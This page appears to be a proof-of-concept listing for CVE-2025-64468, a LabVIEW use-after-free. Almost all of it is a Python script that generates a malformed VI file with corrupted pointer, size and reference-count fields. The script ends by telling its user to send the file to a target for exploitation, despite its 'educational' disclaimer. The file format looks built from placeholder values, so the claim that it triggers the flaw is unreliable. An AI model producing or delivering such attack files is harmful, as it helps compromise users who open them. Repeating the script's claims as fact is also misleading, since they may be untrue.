CVE-2025-64468 NI LabVIEW sentry_span_set_data() use-after-free漏洞

# CVE-2025-64468 PoC - Malformed VI File Generator # This PoC demonstrates the structure needed to trigger use-after-free # in sentry!sentry_span_set_data() import struct def create_malformed_vi(): """ Generate a malformed VI file that triggers use-after-free in LabVIEW's sentry component during VI parsing. WARNING: This code is for educational and security research purposes only. """ # VI file header (LabVIEW Binary Format) header = bytearray() header.extend(b'VI' * 4) # Magic number header.extend(struct.pack('<I', 0x00001000)) # Version header.extend(struct.pack('<I', 0x00000001)) # Flags # Create corrupted span data section # This triggers use-after-free in sentry_span_set_data() span_section = bytearray() span_section.extend(struct.pack('<I', 0x00000001)) # Span count # Malformed span record with invalid pointer reference span_record = bytearray() span_record.extend(struct.pack('<Q', 0xDEADBEEFDEADBEEF)) # Corrupted pointer span_record.extend(struct.pack('<I', 0xFFFFFFFF)) # Invalid size span_record.extend(b'\x00' * 256) # Padding with null bytes span_section.extend(span_record) # Corrupted metadata that causes double-free scenario metadata = bytearray() metadata.extend(struct.pack('<I', 0x41414141)) # Corrupted reference count metadata.extend(struct.pack('<I', 0x00000000)) # Null terminator # Combine all sections vi_file = header + span_section + metadata return bytes(vi_file) def save_malformed_vi(filename): """Save the malformed VI file""" content = create_malformed_vi() with open(filename, 'wb') as f: f.write(content) print(f'[+] Malformed VI file created: {filename}') print(f'[+] File size: {len(content)} bytes') if __name__ == '__main__': save_malformed_vi('CVE-2025-64468_test.vi') print('[+] PoC generated. Send to target user for exploitation.')